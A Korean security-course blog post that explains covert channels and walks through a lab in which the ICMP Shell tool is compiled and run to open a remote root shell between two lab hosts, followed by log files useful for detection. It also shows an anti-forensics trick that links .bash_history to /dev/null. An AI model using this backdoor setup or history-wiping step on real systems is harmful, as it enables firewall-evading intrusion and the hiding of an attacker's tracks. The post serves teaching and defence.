본문 바로가기

교육/Security

Day 73 (Hidden Channel)

반응형

<목차>

1. 목적

2. 사용 툴 & 구성 환경

3. 실습 과정

4. 결과 확인


1. 목적

은닉 채널은 기본 채널에 기생하는 통신채널이다. 아날로그 통신에서 신호 대 잡음비를 축소해서 기본 채널의 대역폭을 축소하고, 은닉 메시지는 다른 사람이 볼 수 없고 송신자와 수신자만 알 수 있도록 한 것이다.

클라이언트와 서버 간의 TCP 통신에서는 목적에 따라 SYN, ACK, FIN 등의 패킷을 사용하지만 ackcmd 툴은 ACK 패킷만 허용한다. 세션을 성립시키지 않아 방화벽이나 운영체제의 연결 기록에도 남지 않고 사용이 가능하다. TCP의 ACK 패킷을 UDP처럼 사용하는 것과 같다.

ICMP Shell(ISH)은 ishd(데몬)과 ish(클라이언트) 프로그램을 사용하여 백도어를 구성하는 은닉채널 통신 프로그램이다. icmp 메시지만을 이용한다. 세션이 없으므로 방화벽을 우회할 수 있다.

 

2. 사용 툴 & 구성 환경

1) ish : ish클라이언트가 백도어 접속을 위해 사용한다.

 

2) ishd : ish서버가 백도어를 생성하기 위해 사용하는 데몬이다.

 

3) 구성환경

ish 서버 192.168.111.152 Cent OS 7
ish 클라이언트 192.168.111.26 Cent OS 6

 

3. 실습 과정

http://sourceforge.net/projects/icmpshell/
위의 페이지에서 ish프로그램 다운이 가능하다.

 

[root@6-32 ~]# tar xvfz ish-v0.2.tar.tar
ISHELL-v0.2
ISHELL-v0.2/ishell.h
ISHELL-v0.2/ish.c
ISHELL-v0.2/ish_main.c
ISHELL-v0.2/ish_open.c
ISHELL-v0.2/ishd.c
ISHELL-v0.2/Makefile
ISHELL-v0.2/TODO
ISHELL-v0.2/ChangeLog
ISHELL-v0.2/README
[root@6-32 ~]# cd ISHELL-v0.2/
[root@6-32 ISHELL-v0.2]# ls
ChangeLog  README  ish.c       ish_open.c  ishell.h
Makefile   TODO    ish_main.c  ishd.c
[root@6-32 ISHELL-v0.2]# make linux
/bin/rm -f ish ishd
gcc -O2 -Wall -o ish ish.c ish_main.c
gcc -O2 -Wall -o ishd ishd.c ish_main.c ish_open.c
strip ish
strip ishd

ish서버와 클라이언트 모두 설치 과정은 동일하다.

[root@m-ftp ISHELL-v0.2]# ./ishd
[root@m-ftp ISHELL-v0.2]# ps -ax | grep ishd
  1361 ?        Ss     0:00 ./ishd
  1364 pts/0    S+     0:00 grep --color=auto ishd

ish서버에서 ishd를 실행시킨다.

[root@6-32 ISHELL-v0.2]# ./ish 192.168.111.152

ICMP Shell v0.2  (client)   -   by: Peter Kieltyka
--------------------------------------------------

Connecting to 192.168.111.152...done.

#

ish클라이언트에서 ish서버에 접속한다.

 

4. 결과 확인

ish클라이언트화면은 일반 쉘과는 달리 프롬포트가 나타나지 않는다.
ish클라이언트에서 ish서버로 파일 정보를 확인할 수 있는 명령어를 입력한 패킷이다.
ish서버에서 ish클라이언트로 파일 정보가 출력되게 데이터가 입력되어 패킷이 전송된다.
root계정만 사용이 가능한 power명령어가 ish서버에서 작동하는것을 확인한다.

은닉 채널에 대한 대응으로는 패킷에서 데이터 입,출력을 확인하여 탐지하는 방법과 시스템 접속에 대한 log정보를 확인하는 방법이 있다.

 

일반적으로 아래의 경로에 log파일이 존재한다.

/var/log/
/var/adm/
/usr/adm/
1) wtmp (전체 접속 계정의 정보)
- 사용자 로그인 및 로그아웃 정보를 저장하며 data  파일로 저장된다.
- last 명령으로 wtmp 파일 정보를 확인 가능하다.
- 로그인, 로그아웃 히스토리를 모두 저장하며  shutdown, booting 기록까지 저장된다.
- 사용명령어 : (/var/log 안에서)last -f wtmp (cat으로 확인 불가)
                   
last
2) secure
- telnet이나 ftp 원격접속 등 인증과정을 거치는 모든 log를 secure log에 저장된다.
- syslog 데몬에 의해 설정되어지고 데몬 설정에 따라 기록 유무가 변경될 수 있다.
- 사용명령어 : cat /var/log/secure
3) lastlog
- 사용자의 최근 login 시간을 사용자 이름, 터미널, 마지막 login 시간으로 출력한다.
- 데이터 파일 형태로 저장되고 vi 로 확인은 불가하다.
- 사용명령어 : lastlog
4) history
- log파일이라고 볼 수는 없으며 이전 명령들을 쉽게 사용하기 위해 만들어졌다.
- /var/log/에 위치하지 않고 사용자의 홈디렉토리에 사용자별로 .bash_history로 존재한다.
- 시간기록이 되지않는 점은 아쉽다.
 ※ 공격자는 권환획득후 작업하기전 history 파일을 남기지 않기 위해  link를 건다.
    ln -s /dev/null .bash_history
5) messages
- log 파일중 가장 중요한 부분으로 login 기록부터 디바이스 정보 시스템 설정오류, 파일시스템, 네트워크 세션기록과 같이 가장 다양한 정보를 가지고 있다.
- 특정 IP나 단어를 통한 검색으로 흔적을 찾을 수 있다.
사용명령어 : grep "<IP주소, 계정명, 통신방식등>" /var/log/messages
반응형

'교육 > Security' 카테고리의 다른 글

Day 73 (DDoS)  (0) 2020.03.11
Day 73 (DoS Attack)  (0) 2020.03.11
Day 73 (Tunneling)  (0) 2020.03.11
Day 72 (DNS spoofing)  (0) 2020.03.10
Day 72 (ARP spoofing)  (0) 2020.03.10